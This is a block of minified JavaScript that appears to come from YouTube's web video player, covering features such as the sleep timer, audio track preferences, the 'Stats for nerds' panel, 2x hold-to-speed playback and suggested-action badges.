QY=function(x){gk.call(this,x,!1,!0);this.isCounterfactual=this.Z=this.isVisible=this.isInitialized=this.shouldShowOverflowButton=this.shouldHideDismissButton=!1;this.J=!0;this.overflowButton=new g.Q({L:"button",DZ:["ytp-featured-product-overflow-icon","ytp-button"],X:{"aria-haspopup":"true"}});this.overflowButton.hide();g.y(this,this.overflowButton);this.badge.element.classList.add("ytp-suggested-action");this.thumbnailImage=new g.Q({L:"img",G:"ytp-suggested-action-badge-img",X:{src:"{{url}}"}});
this.thumbnailImage.hide();g.y(this,this.thumbnailImage);this.thumbnailIcon=new g.Q({L:"div",G:"ytp-suggested-action-badge-icon"});this.thumbnailIcon.hide();g.y(this,this.thumbnailIcon);this.banner=new g.Q({L:"a",G:"ytp-suggested-action-container",W:[this.thumbnailImage,this.thumbnailIcon,{L:"div",G:"ytp-suggested-action-details",W:[{L:"text",G:"ytp-suggested-action-title",z9:"{{title}}"},{L:"text",G:"ytp-suggested-action-subtitle",z9:"{{subtitle}}"},{L:"text",G:"ytp-suggested-action-metadata-text",
z9:"{{metadata}}"}]},this.dismissButton,this.overflowButton]});g.y(this,this.banner);this.banner.yU(this.j.element);this.V(this.U,"videodatachange",this.onVideoDataChange);this.V(this.U,g.$m("suggested_action_view_model"),this.Ikc);this.V(this.U,g.Hv("suggested_action_view_model"),this.DUQ);this.V(this.overflowButton.element,"click",this.iB);this.V(x,"featuredproductdismissed",this.e_);this.U.createServerVe(this.banner.element,this.banner,!0)};
xmq=function(x){x.isInitialized&&(x.enabled=x.isVisible,x.jY=x.isVisible,az(x),x.Ka(),x.thumbnailImage.ou(x.isVisible),x.shouldHideDismissButton||x.dismissButton.ou(x.isVisible),x.shouldShowOverflowButton&&x.overflowButton.ou(x.isVisible))};
pw=function(){QY.apply(this,arguments)};
TGD=function(x){OT.call(this,x);this.C=new pw(this.api);g.y(this,this.C);g.V$(this.api,this.C.element,4)};
O2=function(x){OT.call(this,x);var T=this;this.C="";this.j=!0;this.Z=this.api.B("html5_enable_audio_track_stickiness_phase_two");var t=new g.nj(x);g.y(this,t);t.V(x,"internalaudioformatchange",function(u,H){o6H(T,u,H)});
t.V(x,"videoplayerreset",function(){tkC(T)});
t.V(x,"videodatachange",function(u,H){T.onVideoDataChange(u,H)})};
o6H=function(x,T,t){if(t){var u="";sKf(x,T)&&(u=T,x.Z||(x.C=T),x.api.B("html5_sabr_enable_server_xtag_selection")&&(t=x.api.getVideoData(void 0,!0)))&&(t.OG=T);if(x.Z&&u&&uQD(x,u)){var H;mH(uq(x.api.Y(),(H=x.api.getVideoData())==null?void 0:g.Cm(H)),function(I){$mC(x,u,I)})}}};
tkC=function(x){if(x.C)HNX(x);else{var T;if(x.Z&&((T=JX())==null?0:T.size)){var t;mH(uq(x.api.Y(),(t=x.api.getVideoData())==null?void 0:g.Cm(t)),function(u){if((u=iN3(u))&&uQD(x,u)){var H=x.api.getVideoData(void 0,!0);H&&(H.OG=u)}})}}};
HNX=function(x){var T=x.api.getVideoData(void 0,!0);T&&(T.OG=x.C)};
$mC=function(x,T,t){iN3(t)!==T&&(IgC([{settingItemId:fw(t),settingOptionValue:{stringValue:T}}]),mH(x.qm(),function(u){uY3(u,fw(t),{stringValue:T})}))};
E6f=function(x,T){dI(mH(mH(x.qm(),function(t){return t8D(t,[fw(T)])}),function(t){if(t){t=g.S(t);
for(var u=t.next();!u.done;u=t.next()){var H=u.value;u=H.key;H=H.value;u&&H&&IgC([{settingItemId:u,settingOptionValue:H}])}}}),function(){x.j=!0})};
sKf=function(x,T){x=x.api.getAvailableAudioTracks();x=g.S(x);for(var t=x.next();!t.done;t=x.next())if(t=t.value,t.getLanguageInfo().getId()===T)return t;return null};
iN3=function(x){x=fw(x);var T=JX();x=T?T.get(x):void 0;return x&&x.stringValue?x.stringValue:""};
fw=function(x){var T=(484).toString();x&&(T=(483).toString());return T};
uQD=function(x,T){var t;return T.split(".")[0]!==""&&((t=x.api.getVideoData())==null?void 0:!pm(t))};
IgC=function(x){var T=JX();T||(T=new Map);x=g.S(x);for(var t=x.next();!t.done;t=x.next())t=t.value,T.set(t.settingItemId,t.settingOptionValue);T=JSON.stringify(Object.fromEntries(T));g.vc("yt-player-user-settings",T,2592E3)};
g.wk=function(x,T,t,u,H,I,E){g.JW.call(this,g.CW({"aria-haspopup":"true"}),T,x);this.If=u;this.J=!1;this.j=null;this.options={};this.Z=new g.Wk(t,void 0,x,H,I,E);g.y(this,this.Z);this.listen("keydown",this.bB);this.listen("click",this.open)};
qlD=function(x){if(x.j){var T=x.options[x.j];T.element.getAttribute("aria-checked");T.element.setAttribute("aria-checked","false");x.j=null}};
ZNm=function(x,T){g.wk.call(this,"Sleep timer",g.iL.SLEEP_TIMER,x,T);this.U=x;this.S={};this.D=this.rK("Off");this.N=this.C="";x.B("web_settings_menu_icons")&&this.setIcon({L:"svg",X:{height:"24",viewBox:"0 0 24 24",width:"24"},W:[{L:"path",X:{d:"M16.67,4.31C19.3,5.92,21,8.83,21,12c0,4.96-4.04,9-9,9c-2.61,0-5.04-1.12-6.72-3.02C5.52,17.99,5.76,18,6,18 c6.07,0,11-4.93,11-11C17,6.08,16.89,5.18,16.67,4.31 M14.89,2.43C15.59,3.8,16,5.35,16,7c0,5.52-4.48,10-10,10 c-1,0-1.97-0.15-2.89-0.43C4.77,19.79,8.13,22,12,22c5.52,0,10-4.48,10-10C22,7.48,19,3.67,14.89,2.43L14.89,2.43z M12,6H6v1h4.5 L6,10.99v0.05V12h6v-1H7.5L12,7.01V6.98V6L12,6z",
fill:"#fff"}}]});this.K=new g.Q({L:"div",DZ:["ytp-menuitem-label-wrapper"],W:[{L:"div",z9:"End of video"},{L:"div",DZ:["ytp-menuitem-sublabel"],z9:"{{content}}"}]});g.y(this,this.K);this.listen("click",this.onClick);this.V(x,"videodatachange",this.onVideoDataChange);this.V(x,"presentingplayerstatechange",this.Nj);this.V(x,"settingsMenuVisibilityChanged",this.ptc);x.createClientVe(this.element,this,218889);this.Nj();this.U.XW("onSleepTimerFeatureAvailable")};
jKC=function(x){var T="Off 10 15 20 30 45 60".split(" "),t;((t=x.U.getVideoData())==null?0:t.isLivePlayback)||T.push("End of video");t=x.U.getPlaylist();var u;t&&((u=t.listId)==null?void 0:u.type)!=="RD"&&T.push("End of playlist");x.x$(g.r7(T,x.rK));x.S=g.mu(T,x.rK,x);T=x.rK("End of video");x.options[T]&&g.Nw(x.options[T],x.K)};
eVm=function(x,T){var t=x.S[T],u=t==="End of video"||t==="End of playlist";t==="Off"&&(x.C="");x.U.getPlayerState()!==0&&x.U.getPlayerState()!==5||!u?(x.D=T,g.wk.prototype.Uo.call(x,T),x.Mm(T),x.U.XW("onSleepTimerSettingsChanged",t)):x.U.XW("innertubeCommand",{openPopupAction:{popupType:"TOAST",popup:{notificationActionRenderer:{responseText:{simpleText:"Video has already ended"}}}}})};
Kw=function(x){OT.call(this,x);var T=this;x.addEventListener("settingsMenuInitialized",function(){T.menuItem||(T.menuItem=new ZNm(T.api,T.api.cw()),g.y(T,T.menuItem))});
x.addEventListener("openSettingsMenuItem",function(t){if(t==="menu_item_sleep_timer"){if(!T.menuItem){var u;(u=T.api.cw())==null||u.tq()}T.menuItem.open()}});
HF(x,"resetSleepTimerMenuSettings",function(){T.resetSleepTimerMenuSettings()});
HF(x,"setSleepTimerTimeLeft",function(t){T.setSleepTimerTimeLeft(t)});
HF(x,"setVideoTimeLeft",function(t){T.setVideoTimeLeft(t)})};
lgi=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"onSnackbarMessage",function(t){switch(t){case 1:t=T.api.getPlayerStateObject(),t.isBuffering()&&g.p(t,8)&&g.p(t,16)&&T.api.XW("innertubeCommand",{openPopupAction:{popup:{notificationActionRenderer:{responseText:{runs:[{text:"Experiencing interruptions?"}]},actionButton:{buttonRenderer:{style:"STYLE_OVERLAY",size:"SIZE_DEFAULT",text:{runs:[{text:"Find out why"}]},navigationEndpoint:{commandMetadata:{webCommandMetadata:{url:"https://support.google.com/youtube/answer/3037019#check_ad_blockers&zippy=%2Ccheck-your-extensions-including-ad-blockers",
webPageType:"WEB_PAGE_TYPE_UNKNOWN"}},urlEndpoint:{url:"https://support.google.com/youtube/answer/3037019#check_ad_blockers&zippy=%2Ccheck-your-extensions-including-ad-blockers",target:"TARGET_NEW_WINDOW"}},loggingDirectives:{clientVeSpec:{uiType:232471}}}},loggingDirectives:{clientVeSpec:{uiType:232470}}}},durationHintMs:5E3,popupType:"TOAST"}})}})};
g.xM=function(x,T,t,u,H){T=T===void 0?!1:T;u=u===void 0?!1:u;H=H===void 0?!1:H;g.$B.call(this);this.S=H;this.N=!1;this.K=new bj(this);this.T=this.D=null;this.j=this.Z=!1;g.y(this,this.K);this.target=x;this.C=T;this.J=t||x;this.N=u;T&&(g.OA&&this.target.setAttribute("draggable","true"),H||(this.target.style.touchAction="none"));X8(this)};
T6=function(x){g.zx(x.K,!x.C)};
X8=function(x){x.T=null;x.D=null;x.V(oJ("over"),x.Cu);x.V("touchstart",x.m9);x.C&&x.V(oJ("down"),x.nmW)};
mmm=function(x,T){for(var t=0;t<T.changedTouches.length;t++){var u=T.changedTouches[t];if(u.identifier===x.D)return u}return null};
oJ=function(x){return window.navigator.msPointerEnabled?"MSPointer"+x.charAt(0).toUpperCase()+x.substring(1):"mouse"+x};
tk=function(x){return x&&dmD?gg(x)||document:document};
Mkv=function(x,T){g.Q.call(this,{L:"div",DZ:["ytp-overlay","ytp-speedmaster-overlay"],W:[{L:"div",G:"ytp-speedmaster-user-edu",W:[{L:"div",G:"ytp-speedmaster-label",z9:T},{L:"div",G:"ytp-speedmaster-icon",z9:"{{icon}}"}]}]});this.U=x;this.C=this.Um("ytp-speedmaster-user-edu");this.updateValue("icon",Ryf());g.uY(this.C,"ytp-speedmaster-has-icon");this.U.createClientVe(this.C,this,173040,!0);this.P_()};
u8=function(x){OT.call(this,x);var T=this;this.K=this.j=!1;this.nf=g.Z9(this.api.Y().experiments,"speedmaster_touch_activation_ms")||500;this.uG=g.Z9(this.api.Y().experiments,"speedmaster_cancellation_movement_dp")||10;this.QU=g.Z9(this.api.Y().experiments,"speedmaster_playback_rate")||2;this.Z=new g.nj(x);g.y(this,this.Z);this.S="2x";this.speedmasterUserEdu=new Mkv(x,this.S);g.y(this,this.speedmasterUserEdu);g.V$(this.api,this.speedmasterUserEdu.element,4);this.C=new g.xM(this.api.bG().oI,!0,null,
!1,!0);g.y(this,this.C);this.delay=new g.wX(this.Om,this.nf,this);g.y(this,this.delay);this.Z.V(x,"videodatachange",function(){sZ(T)},this);
this.Z.V(x,"presentingplayerstatechange",function(){sZ(T)},this);
this.Z.V(x,"autonavvisibility",function(){sZ(T)},this);
this.api.BE().subscribe("visibilitystatechange",function(){sZ(T)});
this.Z.V(x,"rootnodemousedown",function(t){T.N=t});
this.B("web_speedmaster_spacebar_control")&&(this.Z.V(x,"keyboardserviceglobalkeydown",function(t,u){T.ZZ=u;ADV(T,t,!0)},this),this.Z.V(x,"keyboardserviceglobalkeyup",function(t){ADV(T,t,!1)},this))};
$M=function(x){x.delay.stop();x.C.unsubscribe("dragmove",x.D,x);x.C.unsubscribe("dragend",x.T,x);x.j&&(x.j=!1,x.speedmasterUserEdu.P_(),x.api.setPlaybackRate(x.Hv),x.api.showControls(),x.hQ&&x.api.pauseVideo())};
ADV=function(x,T,t){t?T.keyCode!==32||T.repeat||x.j||!x.K||g.Kt(x.delay):$M(x)};
sZ=function(x){var T,t;var u=!!x.S&&!((T=x.api.getVideoData())==null?0:T.isLivePlayback)&&!x.api.bD()&&x.api.getPresentingPlayerType()!==2&&!g.p(x.api.getPlayerStateObject(),2)&&!((t=g.lh(x.api))==null?0:t.zV())&&!x.api.isEmbedsShortsMode()&&Pr(x.api.BE());x.K!==u&&(x.K=u,x.K?x.C.subscribe("dragstart",x.jY,x):(x.C.unsubscribe("dragstart",x.jY,x),x.C.unsubscribe("dragmove",x.D,x),x.C.unsubscribe("dragend",x.T,x),$M(x)))};
RV3=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);HF(this.api,"addPlayerResponseForAssociation",function(t){T.api.addPlayerResponseForAssociation(t)});
HF(this.api,"finishSegmentByCpn",function(t,u,H){return T.api.finishSegmentByCpn(t,u,H)});
this.events.V(x,"modulecreated",function(t){if(t==="ad"&&(t=T.api.getVideoData(1))&&(t=t.getPlayerResponse())){var u;t=(u=t.adPlacements)!=null?u:[];u=g.S(t);for(var H=u.next();!H.done;H=u.next()){var I=t=void 0,E=void 0;if(H=(t=H.value.adPlacementRenderer)==null?void 0:(I=t.renderer)==null?void 0:(E=I.instreamVideoAdRenderer)==null?void 0:E.playerVars)t=o6(H),T.api.addPlayerResponseForAssociation({playerVars:t})}}});
this.events.V(x,"videodatachange",function(t,u){T.onVideoDataChange(t,u)})};
H8=function(x,T,t){g.vQ.call(this,T,x);this.C=t};
g.i8=function(x){xl.call(this);var T=this;this.C=x;this.T={};this.listener=function(t){T.dispatchEvent(new H8(T,t.type,t))}};
Slv=function(x){var T=x.getVideoData(),t=x.Bt(),u=t.yA(),H=x.Y(),I=x.kT(),E=I.Zdy,Z=I.uYG,e=eZ(Z,"bandwidth")*8/1024,l=eZ(Z,"networkactivity")/1024,m=eZ(Z,"bufferhealth"),d=I.g8,M=I.playerState.state.toString(16),A=t.getCurrentTime().toFixed(2),R=iK(t.kp(),",",3),Y="";if(T.isDaiEnabled()){T.enableServerStitchedDai&&(Y+=T.sD?"DS":"SS");Y=T.Ty()?Y+"LIFA, ":Y+"DAI, ";var b=I.WQ;b&&(Y+=b)}Qs(T)&&!T.Ty()&&(Y+="LIFAE, ");var z;((z=x.getVideoData(1))==null?0:g.pB(z))?(Y+="SSAP, ",(b=I.WQ)&&(Y+=b)):$7(T)&&
(Y+="SABR, ");if(T.fetchType){switch(T.fetchType){case "onesie":b="o";break;case "gp":b="gp";break;default:b="gvi"}Y+="vd:"+b+", "}H.OY&&(Y=H.OY.Vv?Y+"wa, ":Y+"w, ");Y+="s:"+M+" t:"+A+" b:"+R+" ";t.isSeeking()&&(Y+="S");t.isPaused()&&(Y+="P");t.isEnded()&&(Y+="E");x.isOrchestrationLeader()&&(Y+=" L");(t=I.NS)&&(Y+=" l:"+t.toFixed());t=I.currentTime;H=T.Xo;t&&t>H.start&&t<H.end&&(Y+=" as");t=Y;Y=g.Kr(vM)("_start",void 0);H=[];M=g.S(["pl_i","vir","or_p","orfb","pbs"]);for(A=M.next();!A.done;A=M.next())A=
A.value,(R=g.Kr(vM)(A,void 0))&&Y&&(R-=Y,H.push(A+":"+Math.round(R)));Y=H.join(" ");H=g.O0();M=g.vF(x).cQW;A=T.j&&!T.j.C?"display:none":"";if((R=T.clientPlaybackNonce)&&R.length==16){R+="AAAA";b=0;z="";for(var F=0;F<20;F++)if(b=(b<<6)+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_".indexOf(R.charAt(F)),F%5==4){for(var V="",B=0;B<6;B++)V="0123456789ABCDEFGHJKMNPQRSTVWXYZ".charAt(b&31)+V,b>>=5;z+=V}R=z.substr(0,4)+" "+z.substr(4,4)+" "+z.substr(8,4)+" "+(z.substr(12,4)+" "+z.substr(16,
4))}else R="";e={video_id_and_cpn:String(T.videoId)+" / "+R,codecs:"",dims_and_frames:"",bandwidth_kbps:e.toFixed(0)+" Kbps",buffer_health_seconds:m.toFixed(2)+" s",date:""+(new Date).toString(),drm_style:d?"":"display:none",drm:d,debug_info:t,extra_debug_info:"",bandwidth_style:A,network_activity_style:A,network_activity_bytes:l.toFixed(0)+" KB",shader_info:M,shader_info_style:M?"":"display:none",playback_categories:""};l=u.clientWidth+"x"+u.clientHeight+(H>1?"*"+H.toFixed(2):"");m="-";E.totalVideoFrames&&
(m=(E.droppedVideoFrames||0)+" dropped of "+E.totalVideoFrames);e.dims_and_frames=l+" / "+m;x=x.getVolume();E=HFX(T);var D;l=((D=T.K)==null?0:D.audio.C)?"DRC":Math.round(x*E)+"%";D=Math.round(x)+"% / "+l;x=T.tI.toFixed(1);isFinite(Number(x))&&(D+=" (content loudness "+x+"dB)");e.volume=D;e.resolution=u.videoWidth+"x"+u.videoHeight;if(u=T.Z){if(D=u.video)x=D.fps,x>1&&(e.resolution+="@"+x),(x=I.DzZ)&&x.video&&(e.resolution+=" / "+x.video.width+"x"+x.video.height,x.video.fps>1&&(e.resolution+="@"+x.video.fps)),
e.codecs=PiC(u),!T.K||u.audio&&u.video?u.N$&&(e.codecs+=" / "+u.N$+"A"):e.codecs+=" / "+PiC(T.K),D.Z||D.primaries?(x=D.Z||"unknown",x==="smpte2084"?x+=" (PQ)":x==="arib-std-b67"&&(x+=" (HLG)"),e.color=x+" / "+(D.primaries||"unknown"),e.color_style=""):e.color_style="display:none";if(u.debugInfo)for(e.fmt_debug_info="",u=g.S(u.debugInfo),D=u.next();!D.done;D=u.next())D=D.value,e.fmt_debug_info+=D.label+":"+D.text+" ";e.fmt_debug_info_style=e.fmt_debug_info&&e.fmt_debug_info.length>0?"":"display:none"}u=
T.isLivePlayback;D=T.qI;e.live_mode_style=u||D?"":"display:none";e.live_latency_style=u?"":"display:none";if(D)e.live_mode="Post-Live"+(ZF(T)?" Manifestless":"");else if(u){D=eZ(Z,"livelatency");e.live_latency_secs=D.toFixed(2)+"s";u=ZF(T)?"Manifestless, ":"";T.hQ&&(u+="Windowed, ");x="Uncertain";if(D>=0&&D<120)if(T.latencyClass&&T.latencyClass!=="UNKNOWN")switch(T.latencyClass){case "NORMAL":x="Optimized for Normal Latency";break;case "LOW":x="Optimized for Low Latency";break;case "ULTRALOW":x="Optimized for Ultra Low Latency";
break;default:x="Unknown Latency Setting"}else x=T.isLowLatencyLiveStream?"Optimized for Low Latency":"Optimized for Smooth Streaming";u+=x;(D=I.AR7)&&(u+=", seq "+D.sequence);e.live_mode=u}!I.isGapless||tB(T)&&I.d_||(e.playback_categories+="Gapless ");e.playback_categories_style=e.playback_categories?"":"display:none";e.bandwidth_samples=jZ(Z,"bandwidth");e.network_activity_samples=jZ(Z,"networkactivity");e.live_latency_samples=jZ(Z,"livelatency");e.buffer_health_samples=jZ(Z,"bufferhealth");I=g.Km(T);
if(T.cotn||I)e.cotn_and_local_media=(T.cotn?T.cotn:"null")+" / "+I;e.cotn_and_local_media_style=e.cotn_and_local_media?"":"display:none";ED(T,"web_player_release_debug")?(e.release_name="youtube.player.web_20250224_01_RC00",e.release_style=""):e.release_style="display:none";e.debug_info&&Y.length>0&&e.debug_info.length+Y.length<=60?e.debug_info+=" "+Y:e.extra_debug_info=Y;e.extra_debug_info_style=e.extra_debug_info&&e.extra_debug_info.length>0?"":"display:none";return e};
PiC=function(x){var T=/codecs="([^"]*)"/.exec(x.mimeType);return T&&T[1]?T[1]+" ("+x.itag+")":x.itag};
IJ=function(x,T,t,u,H){g.Q.call(this,{L:"div",G:"ytp-horizonchart"});this.N=T;this.sampleCount=t;this.K=u;this.D=H;this.index=0;this.heightPx=-1;this.j=this.Z=null;this.C=Math.round(x/t);this.element.style.width=this.C*this.sampleCount+"px";this.element.style.height=this.N+"em"};
EZ=function(x,T){if(x.heightPx===-1){var t=null;try{t=g.Xn("CANVAS"),x.Z=t.getContext("2d")}catch(Z){}if(x.Z){var u=x.C*x.sampleCount;x.j=t;x.j.width=u;x.j.style.width=u+"px";x.element.appendChild(x.j)}else for(x.sampleCount=Math.floor(x.sampleCount/4),x.C*=4,t=0;t<x.sampleCount;t++)u=g.Xn("SPAN"),u.style.width=x.C+"px",u.style.left=x.C*t+"px",x.element.appendChild(u)}t=x.element.clientHeight||24;t!==x.heightPx&&(x.heightPx=t,x.Z&&(t=(window.devicePixelRatio||1)>1?2:1,x.j.height=x.heightPx*t,x.j.style.height=
x.heightPx+"px",x.Z.scale(1,t)));T=g.S(T);for(u=T.next();!u.done;u=T.next()){t=x;var H=x.index,I=u.value;for(u=0;u+2<t.K.length&&t.K[u+1]<I;)u++;I=Math.min(1,(I-t.K[u])/(t.K[u+1]-t.K[u]));if(t.Z)t.Z.fillStyle=t.D[u],t.Z.fillRect(H*t.C,0,t.C,t.heightPx),t.Z.fillStyle=t.D[u+1],t.Z.fillRect(H*t.C,t.heightPx*(1-I),t.C,t.heightPx);else{H=t.element.children[H];var E=window.devicePixelRatio||1;I=Math.min(t.heightPx,Math.round(t.heightPx*I*E)/E)||0;H.style.height=I+"px";H.style.backgroundColor=t.D[u+1];H.style.borderTop=
"solid "+(t.heightPx-I)+"px "+t.D[u]}x.index=(x.index+1)%x.sampleCount}T=x.index;x.Z?x.Z.clearRect(T*x.C,0,x.C,x.heightPx):(x=x.element.children[T],x.style.height="0px",x.style.borderTop="")};
qp=function(x){var T=null;T={L:"button",DZ:["ytp-sfn-close","html5-video-info-panel-close","ytp-button"],X:{title:"close"},z9:"[X]"};g.Q.call(this,{L:"div",DZ:["html5-video-info-panel","ytp-sfn"],W:[T,{L:"div",DZ:["html5-video-info-panel-content","ytp-sfn-content"],W:[{L:"div",W:[{L:"div",z9:"Video ID / sCPN"},{L:"span",z9:"{{video_id_and_cpn}}",G:"ytp-sfn-cpn"}]},{L:"div",W:[{L:"div",z9:"Viewport / Frames"},{L:"span",z9:"{{dims_and_frames}}"}]},{L:"div",W:[{L:"div",z9:"Current / Optimal Res"},{L:"span",
z9:"{{resolution}}"}]},{L:"div",W:[{L:"div",z9:"Volume / Normalized"},{L:"span",z9:"{{volume}}"}]},{L:"div",W:[{L:"div",z9:"Codecs"},{L:"span",z9:"{{codecs}}"}]},{L:"div",X:{style:"{{shader_info_style}}"},W:[{L:"div",z9:"Shader Info"},{L:"span",z9:"{{shader_info}}"}]},{L:"div",X:{style:"{{color_style}}"},W:[{L:"div",z9:"Color"},{L:"span",z9:"{{color}}"}]},{L:"div",X:{style:"{{drm_style}}"},W:[{L:"div",z9:"Protected"},{L:"span",z9:"{{drm}}"}]},{L:"div",X:{style:"{{bandwidth_style}}"},W:[{L:"div",z9:"Connection Speed"},
{L:"span",W:[{L:"span",z9:"{{bandwidth_chart}}"},{L:"span",z9:"{{bandwidth_kbps}}"}]}]},{L:"div",X:{style:"{{network_activity_style}}"},W:[{L:"div",z9:"Network Activity"},{L:"span",W:[{L:"span",z9:"{{network_activity_chart}}"},{L:"span",z9:"{{network_activity_bytes}}"}]}]},{L:"div",W:[{L:"div",z9:"Buffer Health"},{L:"span",W:[{L:"span",z9:"{{buffer_health_chart}}"},{L:"span",z9:"{{buffer_health_seconds}}"}]}]},{L:"div",X:{style:"{{live_latency_style}}"},W:[{L:"div",z9:"Live Latency"},{L:"span",W:[{L:"span",
z9:"{{live_latency_chart}}"},{L:"span",z9:"{{live_latency_secs}}"}]}]},{L:"div",X:{style:"{{live_mode_style}}"},W:[{L:"div",z9:"Live Mode"},{L:"span",z9:"{{live_mode}}"}]},{L:"div",X:{style:"{{playback_categories_style}}"},W:[{L:"div",z9:"Playback Categories"},{L:"span",z9:"{{playback_categories}}"}]},{L:"div",X:{style:"{{fmt_debug_info_style}}"},W:[{L:"div",z9:"Format Debug Info"},{L:"span",z9:"{{fmt_debug_info}}"}]},{L:"div",W:[{L:"div",z9:"Mystery Text"},{L:"span",z9:"{{debug_info}}"}]},{L:"div",
X:{style:"{{extra_debug_info_style}}"},W:[{L:"div",z9:""},{L:"span",W:[{L:"span",z9:"{{extra_debug_info}}"}]}]},{L:"div",W:[{L:"div",z9:"Date"},{L:"span",z9:"{{date}}"}]},{L:"div",X:{style:"{{cotn_and_local_media_style}}"},W:[{L:"div",z9:"COTN / Local Media"},{L:"span",z9:"{{cotn_and_local_media}}"}]},{L:"div",X:{style:"{{release_style}}"},W:[{L:"div",z9:"Player Release"},{L:"span",z9:"{{release_name}}"}]}]}]});this.qj=x;this.position=0;this.D=!0;T?this.V(this.Um("ytp-sfn-close"),"click",this.hide):
this.V(this.element,"click",this.hide);x=[0,18750,37500,81250,128E3,256E3,512E3,2048E3,8192E3,32768E3,131072E3];T="#000 #d53e4f #f46d43 #fdae61 #fee08b #e6f598 #abdda4 #66c2a5 #3288bd #124588 #fff".split(" ");var t=x.map(function(u){return u/4});
this.S={};this.C=new IJ(300,1,150,x,T);g.y(this,this.C);this.updateValue("bandwidth_chart",this.C);this.j=new IJ(300,1,150,[0,3,10,15,30,60,90],"#000 #66c2a5 #abdda4 #e6f598 #fdae61 #f46d43 #a8330f".split(" "));g.y(this,this.j);this.updateValue("live_latency_chart",this.j);this.Z=new IJ(300,1,150,[0,15,30,60,90,120],"#000 #fdae61 #e6f598 #66c2a5 #3288bd #fff".split(" "));g.y(this,this.Z);this.updateValue("buffer_health_chart",this.Z);this.N=new IJ(300,1,150,t,T);g.y(this,this.N);this.updateValue("network_activity_chart",
this.N);this.delay=new g.wX(this.Nj,500,this);g.y(this,this.delay);this.K=new g.wX(this.J,2E4,this);g.y(this,this.K)};
Um3=function(x){OT.call(this,x);var T=this;HF(x,"getStatsForNerds",function(){return Slv(T.api)});
ih(x,"showVideoInfo",function(){cDH(T,!0)});
ih(x,"hideVideoInfo",function(){cDH(T,!1)});
ih(x,"isVideoInfoVisible",function(){return YlH(T)})};
cDH=function(x,T){var t=YlH(x);x.C||(x.C=new qp(x.api),g.y(x,x.C),g.V$(x.api,x.C.element,4));x.C.ou(T);var u=zt(x.api.xm());u&&u.loaded&&t!==T&&u.EZ();T&&x.api.kc("sfn",{},!0)};
YlH=function(x){var T;return!((T=x.C)==null||!T.lN)};
Zs=function(){g.W.call(this);this.Z=null;this.startTime=this.duration=0;this.delay=new g.pt(this.C,null,this);g.y(this,this.delay)};
bNm=function(x,T){if(T.L==="path")return T.X.d;if(T.W)for(var t=0;t<T.W.length;t++){var u=T.W[t];if(u&&typeof u!=="string"&&(u=bNm(x,u)))return u}};
FZC=function(x,T,t){t=bNm(x,t);var u=T.getElementsByTagName("path")[0],H=u.getAttribute("d");if(u.getAttribute("id")){var I=Ha();T=T.getElementsByTagName("use");for(var E=0;E<T.length;E++)T[E].setAttributeNS("http://www.w3.org/1999/xlink","href","#"+I);u.setAttribute("id",I)}var Z=rDX(H),e=rDX(t);zVf(x,function(l){u.setAttribute("d",kaf(Z,e,l))},200)};
zVf=function(x,T,t){x.Z=T;x.startTime=(0,g.bo)();x.duration=t;x.C()};
rDX=function(x){var T=[];x=x.match(hVV);for(var t=0;t<x.length;t++){var u=x[t]===" "?NaN:Number(x[t]);T.push(isNaN(u)?x[t]:u)}return T};
kaf=function(x,T,t){for(var u="",H=0;H<x.length;H++){var I=x[H];u=typeof I==="number"?u+(I+(T[H]-I)*t):u+I}return u};
jY=function(x){g.Q.call(this,{L:"button",DZ:["ytp-size-button","ytp-button"],X:{title:"{{title}}","aria-keyshortcuts":"t","data-priority":"8","data-title-no-tooltip":"{{data-title-no-tooltip}}"},z9:"{{icon}}"});this.api=x;this.Mb=null;this.transition=new Zs;g.y(this,this.transition);this.V(x,"sizestylechange",this.Nj);this.V(x,"fullscreentoggled",this.Nj);this.V(x,"presentingplayerstatechange",this.Nj);x.createClientVe(this.element,this,139116);this.Nj();this.listen("click",this.onClick);cF(x,this.element,
this)};
v63=function(x){OT.call(this,x);var T=this;this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"standardControlsInitialized",function(){T.button=new jY(x);g.y(T,T.button);x.YB(T.button,"RIGHT_CONTROLS_RIGHT")})};
LZi=function(x){OT.call(this,x);var T=this,t={};this.D=(t.TIMELY_ACTION_TRIGGER_TYPE_UNSPECIFIED=function(){return!1},t.TIMELY_ACTION_TRIGGER_TYPE_KEYBOARD_SEEK=function(u){return VkH(T,u)},t.TIMELY_ACTION_TRIGGER_TYPE_PROGRESS_BAR_SEEK=function(u){return VkH(T,u)},t);
this.K={};this.events=new g.nj(x);g.y(this,this.events);this.events.V(x,"videodatachange",function(u,H){if(u!=="dataupdated"||H.videoId!==T.videoId||!IR(T.timelyActions,Gam(H)))T.onVideoDataChange(H)});
this.events.V(x,"presentingplayerstatechange",function(u){T.Ot(u)});
this.events.V(x,g.$m("timelyAction"),function(u){T.onCueRangeEnter(u.getId())});
this.events.V(x,g.Hv("timelyAction"),function(u){T.onCueRangeExit(u.getId())});
this.j=new g.Q({L:"div",DZ:["ytp-player-content","ytp-timely-actions-content"]});this.j.hide();HF(x,"insertTimelyActionUi",function(u){T.j.element.children.length>0&&g.o0(T.j.element);u.classList.add("ytp-timely-actions-overlay");T.j.element.appendChild(u)});
g.y(this,this.j);g.V$(this.api,this.j.element,4)};
n6D=function(x){x.timelyActions&&(x.K=x.timelyActions.reduce(function(T,t){if(t.cueRangeId===void 0)return T;T[t.cueRangeId]=0;return T},{}))};
eY=function(x,T){if(x.timelyActions){x=g.S(x.timelyActions);for(var t=x.next();!t.done;t=x.next())if(t=t.value,t.cueRangeId===T)return t}};
agq=function(x,T){if((x=eY(x,T))&&x.onCueRangeExit)return aY(x.onCueRangeExit)};
g6m=function(x){if(x.C!==void 0){var T=(T=eY(x,x.C))&&T.onCueRangeEnter?aY(T.onCueRangeEnter):void 0;var t=eY(x,x.C);if(t&&t.additionalTrigger){var u=!1;for(var H=g.S(t.additionalTrigger),I=H.next();!I.done;I=H.next())I=I.value,I.type&&I.args&&x.D[I.type]!==void 0&&(u=u||x.D[I.type](I.args))}else u=!0;T&&u&&(x.api.XW("innertubeCommand",T),x.setTimeout(t),x.K[x.C]!==void 0&&x.K[x.C]++)}};
